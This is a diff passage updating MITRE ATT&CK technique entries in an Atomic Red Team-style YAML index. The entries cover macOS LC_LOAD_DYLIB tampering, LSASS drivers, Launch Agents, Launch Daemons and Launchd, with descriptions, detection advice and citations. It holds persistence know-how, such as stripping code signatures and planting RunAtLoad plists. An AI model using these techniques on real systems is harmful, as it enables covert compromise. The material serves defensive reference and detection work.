-      - url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
-        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
-          July 10, 2017.
-        source_name: Writing Bad Malware for OSX
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
-          Retrieved July 10, 2017.
-        source_name: Malware Persistence on OS X
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: LC_LOAD_DYLIB Addition
-      description: |-
-        Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.
-
-        Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time. (Citation: Malware Persistence on OS X)
-      id: attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-03-30T00:51:58.454Z'
-      created: '2020-01-24T14:21:52.750Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: Monitor processes for those that may be used to modify binary
-        headers. Monitor file systems for changes to application binaries and invalid
-        checksums/signatures. Changes to binaries that do not line up with application
-        updates or patches are also extremely suspicious.
+      name: LC_LOAD_DYLIB Addition
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'File: File Metadata'
       - 'File: File Modification'
       - 'Module: Module Load'
+      x_mitre_version: '1.0'
+      modified: '2021-03-30T00:51:58.454Z'
+      created: '2020-01-24T14:21:52.750Z'
+      x_mitre_permissions_required:
+      - User
       x_mitre_platforms:
       - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847
+      description: |-
+        Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.
+
+        Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time. (Citation: Malware Persistence on OS X)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      x_mitre_detection: Monitor processes for those that may be used to modify binary
+        headers. Monitor file systems for changes to application binaries and invalid
+        checksums/signatures. Changes to binaries that do not line up with application
+        updates or patches are also extremely suspicious.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/006
+        external_id: T1546.006
+        source_name: mitre-attack
+      - source_name: Writing Bad Malware for OSX
+        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
+          July 10, 2017.
+        url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
+      - source_name: Malware Persistence on OS X
+        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
+          Retrieved July 10, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
     atomic_tests: []
   T1547.008:
     technique:
-      created: '2020-01-24T18:38:55.801Z'
-      modified: '2020-03-25T16:52:26.567Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
       type: attack-pattern
-      id: attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4
-      description: |-
-        Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)
-
-        Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.
+      modified: '2020-03-25T16:52:26.567Z'
       name: LSASS Driver
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.008
-        url: https://attack.mitre.org/techniques/T1547/008
-      - url: https://technet.microsoft.com/library/cc961760.aspx
-        description: Microsoft. (n.d.). Security Subsystem Architecture. Retrieved
-          November 27, 2017.
-        source_name: Microsoft Security Subsystem
-      - url: https://technet.microsoft.com/library/dn408187.aspx
-        description: Microsoft. (2014, March 12). Configuring Additional LSA Protection.
-          Retrieved November 27, 2017.
-        source_name: Microsoft LSA Protection Mar 2014
-      - url: https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx
-        description: Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November
-          27, 2017.
-        source_name: Microsoft DLL Security
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      x_mitre_platforms:
-      - Windows
-      x_mitre_contributors:
-      - Vincent Le Toux
       x_mitre_data_sources:
       - 'Module: Module Load'
       - 'Driver: Driver Load'
       - 'File: File Modification'
       - 'File: File Creation'
+      x_mitre_version: '1.0'
+      created: '2020-01-24T18:38:55.801Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      x_mitre_permissions_required:
+      - SYSTEM
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4
+      description: |-
+        Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)
+
+        Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_contributors:
+      - Vincent Le Toux
       x_mitre_detection: "With LSA Protection enabled, monitor the event logs (Events
         3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation:
         Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe.
         (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc
         utility (Citation: TechNet Autoruns) to examine loaded drivers associated
         with the LSA. "
-      x_mitre_permissions_required:
-      - SYSTEM
-      - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/008
+        external_id: T1547.008
+        source_name: mitre-attack
+      - source_name: Microsoft Security Subsystem
+        description: Microsoft. (n.d.). Security Subsystem Architecture. Retrieved
+          November 27, 2017.
+        url: https://technet.microsoft.com/library/cc961760.aspx
+      - source_name: Microsoft LSA Protection Mar 2014
+        description: Microsoft. (2014, March 12). Configuring Additional LSA Protection.
+          Retrieved November 27, 2017.
+        url: https://technet.microsoft.com/library/dn408187.aspx
+      - source_name: Microsoft DLL Security
+        description: Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November
+          27, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
     atomic_tests: []
   T1543.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1543.001
-        url: https://attack.mitre.org/techniques/T1543/001
-      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
-        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
-          July 10, 2017.
-        source_name: AppleDocs Launch Agent Daemons
-      - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
-        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
-          is hungry for credentials. Retrieved July 3, 2017.
-        source_name: OSX Keydnap malware
-      - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
-        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
-          code. Retrieved July 5, 2017.
-        source_name: Antiquated Mac Malware
-      - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
-        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
-          traffic. Retrieved July 10, 2017.
-        source_name: OSX.Dok Malware
-      - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
-        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
-          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
-        source_name: Sofacy Komplex Trojan
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
-          on Mac OS X. Retrieved July 5, 2017.
-        source_name: Methods of Mac Malware Persistence
-      - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
-        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
-          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
-        source_name: OSX Malware Detection
-      - url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
-        description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application
-          Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.
-        source_name: OceanLotus for OS X
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Launch Agent
-      description: "Adversaries may create or modify launch agents to repeatedly execute
-        malicious payloads as part of persistence. Per Apple’s developer documentation,
-        when a user logs in, a per-user launchd process is started which loads the
-        parameters for each launch-on-demand user agent from the property list (plist)
-        files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>,
-        and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent
-        Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware).
-        These launch agents have property list files which point to the executables
-        that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install
-        a new launch agent that can be configured to execute at login by using launchd
-        or launchctl to load a plist into the appropriate directories  (Citation:
-        Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). The
-        agent name may be disguised by using a name from a related operating system
-        or benign software. Launch Agents are created with user level privileges and
-        are executed with the privileges of the user when they log in (Citation: OSX
-        Malware Detection) (Citation: OceanLotus for OS X). They can be set up to
-        execute when a specific user logs in (in the specific user’s directory structure)
-        or when any user logs in (which requires administrator privileges)."
-      id: attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-03-25T22:11:45.513Z'
-      created: '2020-01-17T16:10:58.592Z'
+      name: Launch Agent
       x_mitre_data_sources:
       - 'File: File Creation'
       - 'File: File Modification'
       - 'Command: Command Execution'
       - 'Service: Service Creation'
       - 'Service: Service Modification'
-      x_mitre_detection: Monitor Launch Agent creation through additional plist files
-        and utilities such as Objective-See’s  KnockKnock application. Launch Agents
-        also require files on disk for persistence which can also be monitored via
-        other file monitoring applications.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+      x_mitre_version: '1.3'
+      modified: '2021-11-03T20:11:51.687Z'
+      created: '2020-01-17T16:10:58.592Z'
       x_mitre_permissions_required:
       - Administrator
       - User
       x_mitre_platforms:
       - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584
+      description: "Adversaries may create or modify launch agents to repeatedly execute
+        malicious payloads as part of persistence. When a user logs in, a per-user
+        launchd process is started which loads the parameters for each launch-on-demand
+        user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>,
+        <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation:
+        AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation:
+        Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments
+        </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name,
+        executable location, and execution time.(Citation: OSX.Dok Malware) Launch
+        Agents are often installed to perform updates to programs, launch user specified
+        programs at login, or to conduct other developer tasks.\n\n Launch Agents
+        can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001)
+        command.\n \nAdversaries may install a new Launch Agent that executes at login
+        by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code>
+        or <code>KeepAlive</code> keys set to <code>true</code>.(Citation: Sofacy
+        Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent
+        name may be disguised by using a name from the related operating system or
+        benign software. Launch Agents are created with user level privileges and
+        execute with user level permissions.(Citation: OSX Malware Detection)(Citation:
+        OceanLotus for OS X) "
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      x_mitre_detection: "Monitor Launch Agent creation through additional plist files
+        and utilities such as Objective-See’s  KnockKnock application. Launch Agents
+        also require files on disk for persistence which can also be monitored via
+        other file monitoring applications.\n\nEnsure Launch Agent's <code> ProgramArguments
+        </code> key pointing to executables located in the <code>/tmp</code> or <code>/shared</code>
+        folders are in alignment with enterprise policy. Ensure all Launch Agents
+        with the <code>RunAtLoad</code> key set to <code>true</code> are in alignment
+        with policy. "
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1543/001
+        external_id: T1543.001
+        source_name: mitre-attack
+      - source_name: AppleDocs Launch Agent Daemons
+        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
+          July 10, 2017.
+        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
+      - source_name: OSX Keydnap malware
+        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
+          is hungry for credentials. Retrieved July 3, 2017.
+        url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
+      - source_name: Antiquated Mac Malware
+        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
+          code. Retrieved July 5, 2017.
+        url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
+      - source_name: OSX.Dok Malware
+        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
+          traffic. Retrieved July 10, 2017.
+        url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
+      - source_name: Sofacy Komplex Trojan
+        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
+          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
+        url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
+      - source_name: Methods of Mac Malware Persistence
+        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
+          on Mac OS X. Retrieved July 5, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
+      - source_name: OSX Malware Detection
+        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
+          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
+        url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
+      - source_name: OceanLotus for OS X
+        description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application
+          Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.
+        url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
       identifier: T1543.001
     atomic_tests:
     - name: Launch Agent
@@ -46826,64 +48217,10 @@ persistence:
           sudo rm ~/Library/LaunchAgents/#{plist_filename}
   T1543.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1543.004
-        url: https://attack.mitre.org/techniques/T1543/004
-      - external_id: CAPEC-550
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/550.html
-      - external_id: CAPEC-551
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/551.html
-      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
-        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
-          July 10, 2017.
-        source_name: AppleDocs Launch Agent Daemons
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
-          on Mac OS X. Retrieved July 5, 2017.
-        source_name: Methods of Mac Malware Persistence
-      - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
-        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
-          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
-        source_name: OSX Malware Detection
-      - url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
-        description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware.
-          Retrieved July 10, 2017.'
-        source_name: WireLurker
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Launch Daemon
-      description: "Adversaries may create or modify launch daemons to repeatedly
-        execute malicious payloads as part of persistence. Per Apple’s developer documentation,
-        when macOS and OS X boot up, launchd is run to finish system initialization.
-        This process loads the parameters for each launch-on-demand system-level daemon
-        from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code>
-        and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent
-        Daemons). These LaunchDaemons have property list files which point to the
-        executables that will be launched (Citation: Methods of Mac Malware Persistence).
-        \n\nAdversaries may install a new launch daemon that can be configured to
-        execute at startup by using launchd or launchctl to load a plist into the
-        appropriate directories  (Citation: OSX Malware Detection). The daemon name
-        may be disguised by using a name from a related operating system or benign
-        software (Citation: WireLurker). Launch Daemons may be created with administrator
-        privileges, but are executed under root privileges, so an adversary may also
-        use a service to escalate privileges from administrator to root. \n\nThe plist
-        file permissions must be root:wheel, but the script or program that it points
-        to has no such requirement. So, it is possible for poor configurations to
-        allow an adversary to modify a current Launch Daemon’s executable and gain
-        persistence or Privilege Escalation. "
-      id: attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-09-16T15:46:44.130Z'
-      created: '2020-01-17T19:23:15.227Z'
+      name: Launch Daemon
       x_mitre_data_sources:
       - 'File: File Creation'
       - 'File: File Modification'
@@ -46891,16 +48228,74 @@ persistence:
       - 'Command: Command Execution'
       - 'Service: Service Creation'
       - 'Service: Service Modification'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_effective_permissions:
-      - root
+      x_mitre_version: '1.2'
+      modified: '2021-10-07T22:10:55.653Z'
+      created: '2020-01-17T19:23:15.227Z'
       x_mitre_permissions_required:
       - Administrator
-      x_mitre_detection: 'Monitor for launch daemon creation or modification through
-        plist files and utilities such as Objective-See''s KnockKnock application. '
       x_mitre_platforms:
       - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba
+      description: |-
+        Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>. Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)
+
+        Adversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code> parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)
+
+        Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)
+      x_mitre_effective_permissions:
+      - root
+      - Administrator
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      x_mitre_detection: |+
+        Monitor for new files added to the <code>/Library/LaunchDaemons/</code> folder. The System LaunchDaemons are protected by SIP.
+
+        Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the <code>RunAtLoad</code> parameter set to true, ensure the <code>Program</code> parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as <code>Program</code> and <code>ProgramArguments</code> parameters but one must be present.(Citation: launchd Keywords for plists)
+
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1543/004
+        external_id: T1543.004
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/550.html
+        external_id: CAPEC-550
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/551.html
+        external_id: CAPEC-551
+        source_name: capec
+      - source_name: AppleDocs Launch Agent Daemons
+        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
+          July 10, 2017.
+        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
+      - source_name: Methods of Mac Malware Persistence
+        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
+          on Mac OS X. Retrieved July 5, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
+      - url: https://www.real-world-systems.com/docs/launchdPlist.1.html
+        description: Dennis German. (2020, November 20). launchd Keywords for plists.
+          Retrieved October 7, 2021.
+        source_name: launchd Keywords for plists
+      - source_name: WireLurker
+        description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware.
+          Retrieved July 10, 2017.'
+        url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
+      - source_name: OSX Malware Detection
+        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
+          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
+        url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
+      - url: https://bradleyjkemp.dev/post/launchdaemon-hijacking/
+        description: 'Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege
+          escalation and persistence via insecure folder permissions. Retrieved July
+          26, 2021.'
+        source_name: LaunchDaemon Hijacking
+      - url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
+        description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS.
+          Retrieved September 10, 2019.
+        source_name: sentinelone macos persist Jun 2019
       identifier: T1543.004
     atomic_tests:
     - name: Launch Daemon
@@ -46944,28 +48339,18 @@ persistence:
           sudo rm /Library/LaunchDaemons/#{plist_filename}
   T1053.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.004
-        url: https://attack.mitre.org/techniques/T1053/004
-      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
-        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
-          July 10, 2017.
-        source_name: AppleDocs Launch Agent Daemons
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
-          on Mac OS X. Retrieved July 5, 2017.
-        source_name: Methods of Mac Malware Persistence
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Launchd
-      description: |-
-        Adversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
-
-        An adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. <code>launchd</code> can also be abused to run a process under the context of a specified account. Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.
-      id: attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3
       type: attack-pattern
+      name: Launchd
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      modified: '2021-10-07T21:38:03.610Z'
+      created: '2019-12-03T14:15:27.452Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -46973,13 +48358,33 @@ persistence:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-23T22:41:14.739Z'
-      created: '2019-12-03T14:15:27.452Z'
-      x_mitre_version: '1.0'
+      x_mitre_deprecated: true
+      id: attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3
+      x_mitre_platforms:
+      - macOS
       x_mitre_is_subtechnique: true
-      x_mitre_remote_support: false
       x_mitre_permissions_required:
       - root
+      description: "This technique is deprecated due to the inaccurate usage. The
+        report cited did not provide technical detail as to how the malware interacted
+        directly with launchd rather than going through known services. Other system
+        services are used to interact with launchd rather than launchd being used
+        by itself. \n\nAdversaries may abuse the <code>Launchd</code> daemon to perform
+        task scheduling for initial or recurring execution of malicious code. The
+        <code>launchd</code> daemon, native to macOS, is responsible for loading and
+        maintaining services within the operating system. This process loads the parameters
+        for each launch-on-demand system-level daemon from the property list (plist)
+        files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code>
+        (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property
+        list files which point to the executables that will be launched (Citation:
+        Methods of Mac Malware Persistence).\n\nAn adversary may use the <code>launchd</code>
+        daemon in macOS environments to schedule new executables to run at system
+        startup or on a scheduled basis for persistence. <code>launchd</code> can
+        also be abused to run a process under the context of a specified account.
+        Daemons, such as <code>launchd</code>, run with the permissions of the root
+        user account, and will operate regardless of which user account is logged
+        in."
+      x_mitre_remote_support: false
       x_mitre_detection: "Monitor scheduled task creation from common utilities using
         command-line invocation. Legitimate scheduled tasks may be created during
